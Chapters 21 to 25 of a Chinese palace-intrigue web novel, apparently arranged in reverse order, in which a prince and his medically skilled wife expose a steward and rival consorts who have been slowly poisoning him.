姜黎婳听着他这略带一些颤抖的声音,以为他现在很不安,没有安全感,她恻隐之心微动,抬手轻轻地抱着他的头安抚,语气很柔,“当然,我之前就说过,我与殿下是夫妇,夫妇本是一体,怎么会分开呢?”
楚御礼把她抱得更紧了,头几乎要镶入姜黎婳的身体里面去,“你不怕和我一起遇到危险吗?”
姜黎婳沉默了片刻,她想起书中原主的遭遇,低声道,“若不是嫁给殿下的话,我可能会更危险。”
说不定现在已经成了杀人犯,或者技不如人,被杀。
反正结果不可能比现在好。
听姜黎婳这么说,楚御礼轻轻松开自己的手从她怀中抬起头,看着姜黎婳自嘲的表情,他问,“你想报复吗?”
想!
怎么不想!
没等到姜黎婳回答,冽风又出现在了屋中,面无表情的对楚御礼道:“谢荣爬起来了,快到院外了。”
楚御礼挑了挑眉头站起来,让姜黎婳先睡之后,他直接去了外院。
谢荣压低声音骂骂咧咧的从外面推开院门走进来,进来就看到了坐在院中的楚御礼,他心头一惊,下意识的往后退了一步,这一退不小心踩到门槛处的台阶,人又摔了一跤,这一下弄出动静,让坐在院中的楚御礼回头向他看来。
楚御礼看到坐在地上满身湿透的谢荣,眉眼一动,语气疑惑的问,“谢管家这么半夜去哪儿了,怎么一身都湿透了?”
谢荣有些心虚的垂下头,低声道:“老奴睡不着,就想着出去走走,谁知在湖边的小路上被野草绊了一下,摔进湖里去了。”
楚御礼点了点头,语气没有半点异样,“睡不着在院中走走就是了,天黑路滑,这次摔在湖中还能爬起来,可能下次可就没有这么幸运了,你说是不是?”
谢荣总感觉楚御礼这话里面还藏着其他意思,难道楚御礼知道自己出去做什么了?
有些惊疑的抬头看了楚御礼一眼,见对方神色无异,谢荣又觉得是自己想多了,他连忙道:“殿下说的是,是老奴不懂规矩了。”
“你是不懂规矩了。”楚御礼站起来,淡漠的看着他,“这行宫之中住的都是父皇的妃嫔,谢管家身为外男在夜半三更在行宫乱走,若是冲撞了哪个贵人,孤可保不住你。”
谢荣连连应是,心头那股不对劲一直无法散去,他干脆问楚御礼,“殿下身子不爽,这更深露重的,怎么在院中坐着,还不回房休息?”
楚御礼眉梢微动,光明正大的说,“母后担忧孤的身子,不让孤与皇子妃同房,孤实在是心痒难耐,只能出来吹吹冷风了。”
说到这里楚御礼意味深长的对着谢荣道,“孤知道谢管家你这些年孑然一身跟在孤的身边难免寂寞,但宫中的宫女都是父皇的人,你还是注意分寸的好。”
谢荣听到楚御礼这话心头那点疑虑彻底消失不见。
原来这楚御礼对自己阴阳怪气的是以为自己和哪个宫的宫女有染啊。
想到自己怀中那被打湿的药包,谢荣赶紧站起来恭敬的对楚御礼躬身道,“殿下别取笑老奴了,就是给老奴十个胆子,老奴也不敢招惹这行宫的宫女啊,老奴真的只是在湖边散了散步。”
“如此最好。”楚御礼说罢摆了摆手,“快回去洗洗吧,仔细别着凉了。”
谢荣闻言赶紧恭敬的应声退下。
楚御礼盯着他离开的背影,眸光逐渐变得冰冷,拖了这么长的时间,那包药粉应该散完了吧。
第25章 去收点利息
皇后回去之后没有直接回自己的宫苑,而是直接去了太后居住的宫苑。
太后自然也听说了楚御礼吐血的事情,见皇后过来,忙不迭地就问楚御礼的身体情况。
皇后把太医说的话又给太后说了一遍,接着又当着太后宫中伺候的宫人数落了姜黎婳一顿,“我原本以为她是个懂事的,还几次三番的夸她,谁知她竟然是个这么不知分寸的!”
太后眉头微微皱了皱,她想的和皇后想的又有点区别,她拉着皇后的手低声道,“你也要往好处想,御儿时日无多,他们夫妻感情好,若那孩子有了身孕,也可以给御儿留个后不是?”
听太后这么说,皇后的嘴角和脸颊都开始颤抖了,她想到自己的儿子这些年身子虚弱并不是因为胎弱而是被人下毒,她就气得想把给儿子下毒的人抽筋扒皮。
太后瞧皇后伤心的模样,心头不忍,她挥手屏退宫人,出声安抚,“哭吧,哀家知道你心头不好过。”
皇后眼泪一滴滴从眼眶里面滑落,到后来直接哭得上气不接下气,太后瞧着她这模样,拿着帕子给她擦泪,最后惹得自己的眼泪也落了下来,“御儿是个可怜的孩子。”
“姨母。”皇后直接扑进太后的怀里,嚎啕大哭,“我的御儿可怎么办啊?”
殿外的宫人听到皇后这哭声,皆是同情的摇头,大皇子原本是天之骄子,三岁能背诗,五岁便知为君之道,是皇上最看重的皇子,谁知...
唉!真是天妒英才。
皇后在太后殿中大哭诉苦的事情就被宫人传了出去,三宫六院很快知道了大皇子可能快要不行了的事情。
当然,那是后话。
皇后在太后殿中哭够了,才拉着太后满是皱纹却还是很细腻的手,低声说道:“姨母,御儿他不是胎弱啊,他这些年受的这些罪,是有人给他下毒啊。”
太后与皇后的母亲镇国侯夫人是一母同胞的亲姐妹,如今这皇宫之中,除了楚御礼夫妇,她唯一能信任的人就只有太后了。
“这怎么可能!”太后心头一沉,几乎是立刻联想到了一些事情,若楚御礼的身体是中毒,那这些年,太医院的那些太医,肯定全都被收买了!
皇后咬紧嘴唇努力压制住自己心头的怒火,她死死的捏着太后的手,压着声音道:“若不是婳儿,我们怕是到御儿死都不知道他是中毒!”
“你是说那丫头...”
“她是个有本事的。”皇后捂着胸口,脸上全是后怕,声音都有些颤抖,“还好她是个懂医术的,否则我的御儿可能真的就要死了。”
“是谁?”太后脸色阴沉,“是谁要害哀家孙儿?”
“冯茹英!”皇后眼里迸射出怨恨的光,咬着后槽牙,一字一句道,“即便姑母您以后会怪我,我也不会放过冯茹英母子的!那些伤害我儿的人,我一个都不会放过!”
太后深深地吸了口气,她以前也只是一个普通的妃子,也是经历过种种阴谋诡计突破了重重困难才坐上了如今太后的位子。
她知道,身处深宫不是你不害人就没人害你的,后宫本来就是一处杀人不见血的战场,皇后和其他妃嫔的战争从来没有停止过。
只是,她都没想到,这慧贵妃竟然手眼通天,整个太医院的人还都被她收买了。
“你想怎么做?”太后看着皇后,“如今你和御儿可是腹背受敌啊。”
“可如今敌在明,我在暗。”皇后捏着帕子擦干眼角的眼泪,面色变得坚定,“她能收买人心,我为什么不能?”
以前她因为御儿的病,对后宫的争斗并不在意,甚至不愿参与那些纷争,但并不代表,她不会勾心斗角。
“罢了罢了,哀家老了,懒得管你们了。”太后抬手揉了揉太阳穴,“你有护着御儿的心是好的,偌大的镇国侯府也不是吃素的,再不济还有承恩公府呢。”
皇后红着眼点了点头,“儿臣知道。”
太后抬手擦了擦皇后脸颊上的眼泪,“那丫头会医术这件事情,断不能让外人知道,你也要护好她的周全。”
“儿臣明白的。”皇后垂眸,“没有把那些想置我儿于死地的人全部扼杀之前,儿臣不会让婳儿暴露她会医术这事的。”
夜幕降临。
姜黎婳把楚御礼身上的银针按照顺序取了下来,刚把针包收好,就见楚御礼起身穿戴好,她正要问天都黑了,这是要去哪儿,就瞧见冽风站在了屋中。
姜黎婳:“......”
有时候她觉得这些武功高强的暗卫,可能真的是一些小说里面的漏洞。
再怎么武功高强也不可能像鬼一样神出鬼没的吧?
这搞得以后她都不敢和楚御礼那啥了...
楚御礼没察觉姜黎婳在想什么,只对冽风道,“走吧。”
“殿下这是要去哪儿?”姜黎婳赶紧出声问,“今夜还回来吗?”
她以为楚御礼这么晚出去,应该是他处理他产业的事情。
楚御礼瞧她一脸好奇,嘴角微微翘起,问她,“娘子去不去?”
她眼睛一亮,长长的睫毛扑闪扑闪,语气甚至有一丝激动,“我也能去?”
“能去,咱们去收点利息。”楚御礼说罢拉着姜黎婳的手跟着冽风翻窗出去。
楚御礼虽然身子弱,但是这些年强身健体并未落下,所以翻窗翻墙这些事情现在做起来是轻而易举。
但是他没想到的是,他娇柔美丽的娘子竟然也是一个翻墙好手。
姜黎婳尴尬的摸了摸鼻子,低声解释,“以前在江南经常和铃铛翻墙出去玩。”
楚御礼笑了笑没说话,抓着她的手跟上冽风的脚步。
因为有冽风领路,三人一路上没有遇到一个巡逻的侍卫,很快就到了一处假山处,冽风带着两人藏进爬山虎丛中。
假山中间很快有对话的声音传来。
“这是无忧散,从明天起,你每日把那短命鬼的洗脸水中撒一点,用不了十天,那短命鬼必死无疑。”夜色中,楚明暄的面容阴险又诡谲,说出的话也异常森冷。
“无忧散?”谢荣眉头皱了皱,脸上露出一丝警惕,“为何要忽然要了他的命?这样我很可能会被怀疑的!”
“这无忧散只会神不知鬼不觉的要人性命。”楚明暄抬手在谢荣脸上拍了拍,“你别忘了,要了楚御礼的命,你们谢家就能一飞冲天了!你可别忘了,你儿子如今的地位是谁给的?”
“好!”听到儿子的前程,谢荣几乎是没有半分犹豫,他深深地看了楚明暄一眼,“你别忘了你曾经的承诺,让我儿升官!”
“如今你儿子一家在永州当县老爷,等楚御礼死了,他就是永州府的知府老爷,可以了吧?”楚明暄嘴角微微一勾,“如今吏部尚书都是我们的人,有我外祖父在,你还怕孤搞不定一个知府之位?”
“你说到做到!”谢荣说罢把纸包揣在怀中,转身快步离开。
楚明暄看着谢荣离开,眼里闪过一丝轻蔑,接着狠狠地在地上吐了口唾沫,“蠢货,卑贱的狗奴才,还妄想飞上枝头当凤凰,呸!”
第24章 皇后比姜黎婳还激动
“谢荣。”
楚御礼毫无感情的说出两个字。
姜黎婳听到这个名字整个人一怔,她偏头看向楚御礼。
谢管家?
他早就怀疑谢管家了?那为什么还做什么事情都把他带上?
皇后的反应比姜黎婳还大,她不可置信的摇头,“这不可能,他是你外祖父的亲信,当年你外祖父就是信任他才会把他送到宫中来照顾你的。”
皇后说到这里后知后觉的看着楚御礼,“你不会是怀疑你外祖父吧?你外祖父怎么可能会害你!”
“母后,外祖父不会害我,不代表谢荣不会。”楚御礼冷静的看着皇后,断定的说道,“这些年儿臣出门寻医,他事事亲力亲为,若儿臣真的是胎中带病导致命不久矣的话,那他就是忠心耿耿别无二心的谢管家,可儿臣是中毒,他替儿臣亲自请来的大夫,却个个都给出了与太医院太医一样的答案,您说,他真的忠心吗?”
皇后张了张嘴,最终什么都没说出来。
“殿下你什么时候开始怀疑谢管家的?”姜黎婳实在是好奇,为什么他明明知道谢管家已经与人勾结了,还要把他带在身边。
楚御礼抬头看了姜黎婳一眼,语气要比和皇后说话的时候温和许多,“你说我中毒的时候,我就怀疑身边有内贼了,而这个内贼并不难找,若我此生不知道自己是中毒的话,怕是一辈子都猜不到这个内贼是谁,甚至对他感恩戴德。”
“等等。”皇后压下儿子区别对待的不爽,抬头看着姜黎婳,“你说他中毒?你会医术?”
姜黎婳抿嘴微微一笑,“儿臣不才,师承上官清泉,习得师父的一身医术。”
“什么?”母子两人异口同声。
楚御礼眼中更是露出惊喜之色,“你说你师承何人?”
皇后张了张嘴,说不出一个字,师承上官清泉?
呵呵,那岂不是和太傅师出同门?
帝师的小师妹?
皇后甩了甩脑袋,她觉得自己不应该细想下去,再细想下去的话,她的辈分可能要变低了。
姜黎婳对双眼放光的楚御礼微微一笑,接着她朱唇轻启,轻声道,“上官清泉。”
想到当年小小的自己每日拿着一些吃食死缠烂打地缠着那个怪老头学医的场景,她如今还觉得好笑。
“这么说御儿体内的毒是你发现的,并且你可以解了他体内的毒?”皇后几乎是颤抖着声音问出来的。
姜黎婳没有拿乔,她严肃的点头,“咱们应该庆幸的是他们不愿意引起父皇和母后您的注意,所以买通了殿下身边的人和太医院的太医,给殿下用慢性毒药,慢慢的要了殿下的性命,还好殿下的毒还未入脏腑,否则就是大罗金仙来了,也无能为力。”
听到自己的儿子还有救,皇后几乎是喜极而泣,她抬手擦了擦眼角的泪水,起身走到姜黎婳先前抓住姜黎婳的手,一脸感激的说道:“婳儿啊,你真是本宫和御儿的福星,还好是你嫁过来给御儿了,否则我的御儿连怎么死的本宫都不知道,甚至到死都在自责是本宫害了他。”
“母后您不用担心,儿臣有把握解了殿下的毒,即便儿臣不行,我师父也一定行。”姜黎婳笑着说道。
皇后点头,上官先生会医术这件事情她不清楚,但上官先生乃当世大儒这件事情她还是很清楚的。
儿子的身体她不用担忧了,就有了心思思考其他事情,当初先帝想请上官先生当皇上的先生,上官先生都拒绝了,怎么会收她这个小丫头当徒弟?
“苏家没那个本事能攀上上官先生,你说说吧,你和苏家到底是什么关系?又为何能拜上官先生为师?”皇后挑眉看着姜黎婳,“可别说什么机缘巧合收你为徒这种话,本宫不信。”
姜黎婳无奈,只能求助楚御礼。
楚御礼收到她求助的眼神,宠溺的对姜黎婳笑了笑,道:“母后最是疾恶如仇了,你不必隐瞒自己的身世,直接告诉母后就是。”
皇后听楚御礼这般说,心头忽然闪过一丝不祥的预感,她看着姜黎婳,语气犹豫,“你该不会真不是苏家的女儿吧?”
苏家若真的送一个外人的女儿进来,那可是欺君大罪,可是灭九族的大罪!到时候苏家被治罪,就算她出面保姜黎婳,她应该也不会有好结果的...
姜黎婳像是看出了皇后的想法,她轻轻笑了笑,“儿臣是苏家女儿不假,如假包换。”
接着她把自己和苏清欢的事情一五一十的全盘托出,甚至之前苏家打算把苏清欢嫁给楚御礼的事情,还有苏清欢忽然要换亲事的事情都给说了。
皇后听到姜黎婳是苏家的女儿,心头悬着的石头这才落下,但听到姜黎婳的遭遇,气得咬牙切齿,“荒谬!本宫还是第一次见把外人的女儿当个宝,却不疼自己亲生女儿的人!苏家的人怕是都疯了吧?”
姜黎婳也觉得苏家的人疯了。
但是瞧着比自己还激动的皇后,又无奈地给皇后顺气,“母后您别生气了,儿臣如今也看清他们的真面目了,不把他们当亲人,也就不伤心了。”
“他们不疼你,以后母后疼你。”皇后心疼的拍了拍姜黎婳的头发,又道:“对了,你在江南的兄长和父亲不也很疼爱你吗?过些日子母后和你父皇商量一下,吩咐宫中的总管,以后就去你父亲那里订购茶叶和布匹,你让他们都上京城来,以后你们也好经常见面。”
姜黎婳一愣,还不等她反应,楚御礼就替她说道:“那儿臣先替婳儿多谢母后了。”
“就你嘴滑。”皇后嗔了儿子一眼,儿子如今没事,而且也不会年纪轻轻就死了,皇后只觉得心情都轻松了,她笑拉着姜黎婳的手道:“今儿个肯定不方便,等咱们把这些事情处理好了,母后再好好地感谢你。”
“那母后到时候可不能吝啬。”楚御礼笑道:“皇祖母都送了红宝石的头面,您也不能小气。”
皇后正欲说话,外面响起谢荣的声音,“殿下,药熬好了。”
皇后听到谢荣的声音脸色就沉了下去,楚御礼对皇后摇了摇头,皇后这才扬声道:“大皇子妃,你好好照顾大皇子,若大皇子再有个好歹,本宫唯你是问。”
说完朝姜黎婳眨了眨眼睛,才抬步离开。
殿门打开,皇后看了一眼端着药碗恭敬的站在门外的谢荣,谢荣见到皇后,亲切的给皇后见礼,皇后点了点头,抬步离开。
谢荣疑惑的回头看了一眼没和自己说话的皇后,片刻之后才端着托盘走进殿内,站在楚御礼床边的姜黎婳过去接过谢荣手上的药碗,轻声道:“有劳谢管家了,这种小事无需你亲力亲为的,交给知夏他们做就是。”
“这些事情历来都是老奴在做的,从来不假他手。”谢荣没松手,面色淡淡的看了姜黎婳一眼,对楚御礼道,“殿下,这汤药要趁热喝。”
“天天都是汤药!烦不烦!”楚御礼虚弱的吼了一声,又有气无力的说,“孤现在不想喝,一会儿再喝。”
“为了您自己的身子,您也要记得把汤药喝了。”谢荣语重心长地说了一句,这才把汤药交给了姜黎婳转身离开。
等他离开后,姜黎婳把端着的汤药放在鼻尖闻了一下,又拿出银针试毒,接着挑眉对楚御礼,“就是普通补气血的汤药。”
第23章 你怀疑谁
姜黎婳听着太医这话,差点没有笑出声,这是给楚御礼的病情下死刑还不够,还要拉上她这个大皇子妃当垫背的。
为何亏空?
因为要满足她这个新婚妻子?
这是在给皇后上眼药水呢!
果然皇后听了太医这话,立刻想起先前看到姜黎婳在大庭广众之下直接就亲了她儿子,还让他儿子一时心急,拉着她就往他们居住的宫苑跑,这么长的时间,谁知道他们是不是大白天的忍不住,在寝殿做了什么啊?
而且,好好的,为何会因为身体太过亏空而吐血?
皇后看姜黎婳的眼神当即就变得冰冷,她还以为这个儿媳妇是个懂事的,看来也是个没分寸的!
把旁人都屏退之后,皇后才责怪的看着姜黎婳,“本宫是不是告诫过你,大皇子他身子不好,你们夫妇两人要懂得节制?”
姜黎婳垂眸,“是。”
这她身为人家儿媳妇,还真不好意思把他们夫妻房事有过几次告诉皇后。
见姜黎婳露出这种神情,皇后自认为她是心虚了,她沉声道:“今日起,你们夫妇两人,给本宫分房...”
“母后。”楚御礼坐起身来打断皇后的话,面上哪儿还有先前在太医面前的疲惫之色,他看了皇后一眼,面色沉着,“一切等冽风回来之后再说。”
皇后瞧着脸色红润的儿子,一时之间有些不明所以,她张了张嘴,最终在一阵沉默中什么都没有说。
姜黎婳则做好了一个儿媳妇的本分,走过去亲自给皇后倒了一杯茶,“母后别担心,一切很快就会真相大白的。”
皇后不知道两人葫芦里面在卖什么药,干脆接过姜黎婳的茶喝了一口,就在这时候,门外传来躁动,淑妃的声音随之从外面传来,“大皇子如何了?快让开,我们进去瞧瞧。”
楚御礼听到声音,又躺了回去,姜黎婳也换上了一脸担忧的神情站在床榻身边看着楚御礼。
皇后瞧着两人的动作,莫名其妙的的皱了皱眉头,手上动作倒是比较快,直接把茶水藏在身后的矮几上,然后面色沉沉的坐在一边不说话。
就在这时候,殿门被推开,淑妃、贤妃和玉嫔带着楚巍澜、楚明珠从殿外走了进来。
感受到殿内气氛的压抑,贤妃皱了皱眉头轻声问姜黎婳,“先前都还好好的,怎么忽然吐血了?”
姜黎婳羞愧的直接低下头不说话。
皇后更是沉着脸没应声。
楚御礼则是疲惫的闭上眼睛。
淑妃见状担忧的往前走了几步,“难道是情况不乐观?这怎么搞的啊?不是说冲喜冲对了吗?前几日大皇子明明都还好好的啊?怎么一下就成这样了?”
“是啊,大皇兄以前虽然身子虚弱,但却从未吐过血,今天怎么会忽然吐血了?”楚明珠也担忧的说道。
“咦。”淑妃忽然盯着楚御礼的手腕眨了眨眼睛,“大皇子手上的沉香手串呢?”
皇后这才注意到自己儿子一直佩戴在手上的沉香手串不见了。
姜黎婳这时候从袖子里面掏出手串,讪讪道:“殿下之前瞧儿臣喜欢,便把手串给儿臣了。”
“胡闹!”皇后脸色一沉,不悦地看了姜黎婳一眼,语气冰冷的说道,“那手串给他佩戴不是当配饰的,那是对他身子有好处的,他佩戴沉香手串,可以改善他呼吸不畅,亦可以舒缓他身子不适的,你明知道他身体不好,怎么可以拿他的身子开玩笑!”
“这还好是没有酿成大祸。”淑妃一脸后怕的对姜黎婳道,“原先还以为大皇子妃你是一个懂事的,你怎么能拿着大皇子的身体开玩笑呢?”
姜黎婳抿了抿嘴,“是婳儿的错。”
“与她无关,她一个女子哪儿能知道...沉香的作用。”楚御礼说话两句一喘气,“是我给她的...母后,你们别说她了。”
贤妃也在这时候站了出来,“是啊,大皇子妃想来也只是瞧这手串长得漂亮,所以才产生好奇的,大皇子爱妻心切,把手串送给大皇子妃玩两日也是正常的,皇后娘娘就别怪大皇子妃了。”
说完她看了淑妃一眼,轻声道,“淑妃你也少说两句。”
淑妃好像也意识到了自己话说多了两句,当即道,“是我多嘴了,关心则乱,还请大皇子妃别往心里去。”
说完又担忧的叮嘱楚御礼,“大皇子你身子弱,太医说那沉香珠子对你身体有好处,可别随便取下来了,瞧瞧今天这事儿闹的。”
贤妃也点头,“是啊,无论做什么事情,都不可拿自己的身子开玩笑。”
楚御礼没有回应两人的话,偏开头闭着眼睛睡觉。
几人瞧他这不爱理人的模样,也不便多留。
贤妃率先道,“既然看过大皇子了,咱们也就放心了,就不打扰大皇子休息了。”
几人匆匆地来,又匆匆地离去。
等他们都离开了,殿门重新被关上,皇后这才收起脸上的神色看向二人,低声问,“你们两人葫芦里究竟在卖什么药?”
楚御礼揉了揉眉心坐起来,“等冽风回来之后再说。”
片刻之后,一个黑影落在殿中,不苟言笑的冽风对楚御礼抱拳,“主子,那太医离开之后去了慧贵妃的宫苑,见了慧贵妃和二皇子,属下听那太医对两人说您体内的毒有所缓解。”
楚御礼眉梢微挑,“真是慧贵妃,她以为毒死了孤,楚明暄那个蠢货就有机会了?”
“你们这话是什么意思?什么毒?”皇后焦急的看着打哑谜的三人。
她心头其实已经有了一些猜测,但是不敢确定。
楚御礼挥退冽风,这才看向皇后,“如母后心头所想,儿臣这些年体弱,并不是因为胎弱引起的,而是被人下了毒。”
“是慧贵妃?”皇后猛地站起来,“本宫去找她算账...”
“不止她,她还有同谋。”姜黎婳把那沉香手串递给皇后,“这串沉香珠是在夹竹桃液中浸泡过的,殿下日以继夜的佩戴,不但身体不会好,珠子里夹竹桃的毒素还会侵入殿下的皮肤,蚕食殿下的身体,让殿下的身体逐渐虚弱,直到死亡。”
皇后猛地往后退了一步,她不可置信的摇头,半晌之后她才怔怔的看向姜黎婳,“贤妃?这不可能...”
说到这里又像是想到了什么一样,她摇了摇头,喃喃自语,“怎么可能会是中毒呢?是中毒的话,太医定能诊出来的...若宫中的太医被冯茹英收买了的话,那宫外的呢?你不是还去...”
“我身边的人也被收买了呢?”楚御礼打断皇后的话,“跟在儿臣身边伺候的人,想收买替儿臣治病的大夫很简单。”
皇后猛地往后退了一步,人无力的坐在楚御礼的床边,好半晌之后她才找回自己的声音,“你怀疑谁?”
第22章 殿下亏空得太厉害了
姜黎婳在湖心岛与楚明珠他们玩投壶玩得不亦乐乎,最后还是午膳时间到了,淑妃身边的嬷嬷过来请楚巍澜去用午膳了,楚御礼才有机会喊她回去用膳。
这一路姜黎婳都很高兴,甚至连脚步都变轻快了,楚御礼忍不住笑问,“就那么开心?”
“嗯。”姜黎婳点头,转过身来倒退着往后走,眼中带笑地回答楚御礼的话,“从江南回到京城之后我就再也没有玩过投壶了,三皇子和四皇子两人的投壶技术不错,和他们玩起来很有趣,而且穿耳也很有挑战性。”
“那看来为了能和娘子你玩乐,为夫也得好生练一下这投壶之术了。”楚御礼煞介其事的点了点头。
姜黎婳听他这么说,一时忘了转过身去,脚下忽然被绊了一下,人就那么直直的倒了下去,吓得楚御礼拉着她抱住她的腰肢就那么转了一个圈才站稳。
楚御礼看着她身后的阶梯,后怕的说道:“走路得看路。”
“一时高兴过头了,差点乐极生悲。”姜黎婳尴尬的笑了笑,“多谢殿下刚刚出手相救。”
“那娘子要如何感谢为夫?”楚御礼没打算放开姜黎婳,他顺势抓着姜黎婳的手,往他们的宫苑慢慢走去。
姜黎婳走在楚御礼身侧,悄悄偏头打量着他优越的下颚线,她发现这人不止和书中所写的人不一样,甚至还很爱喊她娘子,不是夫人不是皇子妃也不是爱妃,而是娘子。
忽而她眼睛眨了眨,有些俏皮的问他,“夫君想要我如何答谢你?”
楚御礼听到夫君二字,喉结上下滚动了一下。
嘴角压都压不住,他停下转身偏头看着此时带着俏皮笑意的美人,黑亮的眼里全是笑意,就连声音都有些发颤,“夫君?”
抱着短剑的昭临瞧着自家主子那模样,深深地吸了口气,‘得,又让主子爽到了。’
还得是大皇子妃懂得如何拿捏主子啊!
姜黎婳踮起脚尖在楚御礼的脸颊上亲了口,“这样答谢,可以吗?”
楚御礼抬起另一只手捂着被亲过的脸,努力压制自己的嘴角,摇头,“不够。”
姜黎婳一下子看穿了他的心思,再次踮起脚尖,在他略微有些苍白的薄唇上轻轻啄了一下,“这样呢?”
楚御礼没有回答姜黎婳,只抓住姜黎婳的手就往他们的宫苑跑。
姜黎婳被他猝不及防的狂奔弄得不明所以,等跑回宫苑后,她才看着双手撑着膝盖喘气的楚御礼,笑问,“殿下为何要跑?”
“害羞。”楚御礼面色潮红,耳根更是通红,他深深地看着姜黎婳,“娘子第一次在外人面前亲为夫。”
“外人?”昭临和知夏他们?
“刚刚我看到母后了。”
姜黎婳:“......”
皇后下次见面不会又要叫她节制了吧?
有些不知道该说些什么,自己好不容易壮着胆子撩一下人,居然还被抓包了...
就在姜黎婳无语的时候,佩玉从殿中走了出来,笑着对两人道,“两位殿下,午膳已经有宫人送过来了。”
“先用膳吧。”楚御礼牵着姜黎婳往厅内走。
两人在餐桌上坐下,红木圆桌上摆了七八道菜,三道凉菜,一道汤菜和三道热菜,楚御礼拿起筷子给姜黎婳夹菜,“这西湖醋鱼,你尝尝和你在江南吃的比起来,味道如何。”
姜黎婳笑着点了点头,然后拿起勺子给楚御礼盛汤,“乳鸽汤补气血,你多喝...”
她话没说完,直接放下勺子,把盛在碗中的汤端起来闻了闻,然后皱起眉头问佩玉,“嬷嬷,这午膳是谁送过来的?”
“不认识,都说是膳房的宫人。”佩玉瞧姜黎婳面色不好,她压低声音问,“这汤有问题?”
姜黎婳点了点头,“去隔间把我银针拿来。”
楚御礼沉着脸一直没说话,直到姜黎婳把银针放进汤碗中,看着银针逐渐变黑,他才道:“看来这几日我的身子逐渐变好,让有的人沉不住气直接在汤中下毒了。”
“毒性不是很重,但也会让殿下受点罪。”姜黎婳先前的轻松一扫而空,取而代之的是沉严肃,她抬眸看着楚御礼,“他们应该是想探探殿下的虚实。”
“那就让他们如愿好了。”楚御礼从姜黎婳手中接过汤碗送到嘴边,姜黎婳眼疾手快一把夺过楚御礼的汤碗,“殿下何故拿自己的身体与他们博弈。”
楚御礼看着被姜黎婳因夺走的汤碗,手无力的放在桌上,片刻之后他看向姜黎婳,“不是膳房的人。”
膳房的人不敢直接给他下毒,因为此事若闹出去,整个膳房的人都别想活了!
所以,他肯定今日这毒绝无可能是膳房的人给他下的。
“他们要我今日吐血,但是最后吐血的原因是什么,也不得而知。”楚御礼嘴角勾起一抹冷漠的弧度。
姜黎婳咬了咬嘴唇,“既然他们想要殿下吐血,那咱们就如了他们的愿,先用膳吧。”
先前围绕在两人之间的暧昧气息也随着这个插曲消失不见,两人在沉默中用了午膳。
刚回来的知夏、昭临等人原本还有些奇怪,这两人之间的气氛怎么变得那么快,却忽然看见用了午膳的大皇子妃拿着银针就往自家主子身上扎,这还没什么,自己主子被扎了几针之后,一口鲜血直接喷了出来。
他一个箭步冲上去,断剑出鞘,架在姜黎婳的脖子上,厉声道:“你做了什么?”
“昭临!”楚御礼冰冷地扫了昭临一眼,“放肆!”
听着自家主子那中期十足的话,昭临悻悻然地收起短剑,给姜黎婳告了罪,这才问,“大皇子妃会医术?”
姜黎婳看了他一眼,沉声道,“去传太医,就说大皇子用了午膳,忽然吐血。”
昭临下意识地看向楚御礼,后者面无表情的睨了他一眼,“按皇子妃说的做!”
昭临领命退了出去。
姜黎婳扶着楚御礼去内殿的床榻上躺好,“殿下,感觉如何?”
楚御礼轻轻摇了摇头,接着喊了一声,“冽风。”
随着他这身话音落下,一个身着黑衣,不苟言笑的青年出现在他们面前。
姜黎婳看着忽然出现的人,心惊不已,这人怎么冒出来的?难道一直盯着他们的一举一动?
该不会她和楚御礼两人那啥的时候,这人也在暗处看着的吧?
楚御礼好像看出了姜黎婳心头在想什么,他握着拳头咳嗽了一声道,“冽风虽然是我的贴身暗卫,却不是时时刻刻都盯着我们的。”
姜黎婳:“......”
她说什么了吗?
好像什么都没说吧?
窘迫的哦了一声,姜黎婳低着头不再看楚御礼。
楚御礼则对冽风道,“稍后盯紧给孤诊脉的太医,他离开后见了谁,回来禀告给孤。”
冽风应了声是,转眼又消失在两人眼前。
没一会儿,一行人踏入两人居住的宫苑,除了太医,还有听到消息赶来的皇后。
太医给楚御礼诊脉后,轻轻摇头,“殿下这身体亏空得太厉害了,以后断然是不能再这样下去了,臣先去给殿下开点补身子的方子。”
一边说一边摇头离开。
第21章 相亲相爱的苏氏一族
楚巍澜尴尬的挠了挠头头发,他正想找个借口溜走,站在他身后的一个妙龄姑娘走了出来,她娇俏可爱的脸颊上露出一丝好奇,眼光直直的盯着姜黎婳。
此时姜黎婳已经转了过来,见她盯着自己,就对她露出了一个善意的笑容。
那姑娘见姜黎婳对她笑,她眨了眨眼睛往前走了几步,问,“你就是大皇嫂吗?”
姜黎婳笑着点头,“嗯,我是你们的大皇嫂。”
楚御礼见状目光扫过几个站在没动的人,语气微凉,“还不过来见过你们大皇嫂。”
楚御礼这些年虽然被太医下了死刑,但身份依旧是嫡出大皇子,且这些年帝后和太后都纵着他,他行事随心所欲,谁若惹他不快,他就让对方更不快,即便是皇妃对他都避让三分,这些皇子公主更怵他。
此时见楚御礼叫他们过来给姜黎婳行礼问安,他们飞快的过来恭敬的给姜黎婳行礼,“见过大皇嫂。”
姜黎婳笑容大方,“都是自家人无需多礼,今日出门,也没有带见面礼,你们别介意。”
“不用给他们见面礼,让他们见你一面,就是你给他们最好的见面礼了。”楚御礼说完,直接问其他人,“还有事?”
众人齐齐摇头,“没了。”
楚御礼眉头一皱,“那还不走?”
众人如蒙大赦,转身就跑。
只有刚刚那个妙龄女子,还站在那里,她盯着姜黎婳漂亮的脸颊,问,“大皇嫂,你会玩投壶吗?”
楚御礼眼睛一眯,又来一个和自己抢媳妇儿的!
“楚明珠,到了行宫就只想玩乐了?”楚御礼语气危险,“你大...”
姜黎婳拉了拉楚御礼的衣袖,阻止了他接下来的话,又笑眯眯的问楚明珠,“会,你想邀请我和你们一起玩啊?”
楚明珠点头,亮晶晶的眼睛期待的看着姜黎婳,“楚明月不会玩,我们一直输给三皇兄和四皇兄,大皇嫂你会玩的话,就来和我一组,好不好?”
瞧着楚明珠这一脸期待的模样,姜黎婳根本不忍心拒绝,当即颔首道:“好啊,我玩投壶可还没输过呢。”
“太好了,那咱们去湖心岛吧!”楚明珠脸上立刻露出笑意,拉着上前拉着姜黎婳就往湖心岛走去。
楚御礼看着自己被拉走的娘子,咬了咬牙抬步跟上去。
知夏和铃铛两人也快步跟了上去。
昭临瞧着自家主子那屁颠屁颠跟过去的模样,摇了摇头,心想:‘栽了栽了,这完全被大皇子妃给迷得失了心智了啊!先前还你看我想和你们玩吗?现在屁颠屁颠就跟上去了!简直没原则!’
苏府。
苏建明昨天没有回府,所以并不知道妻儿回娘家一趟还被打了出来,今日回府把妻子叫到身边问是否把那方砚台要过来了,却听到了意料之外的答案,他眉头下意识的皱了起来,眼中也露出不悦,“岳母当真那般说的?”
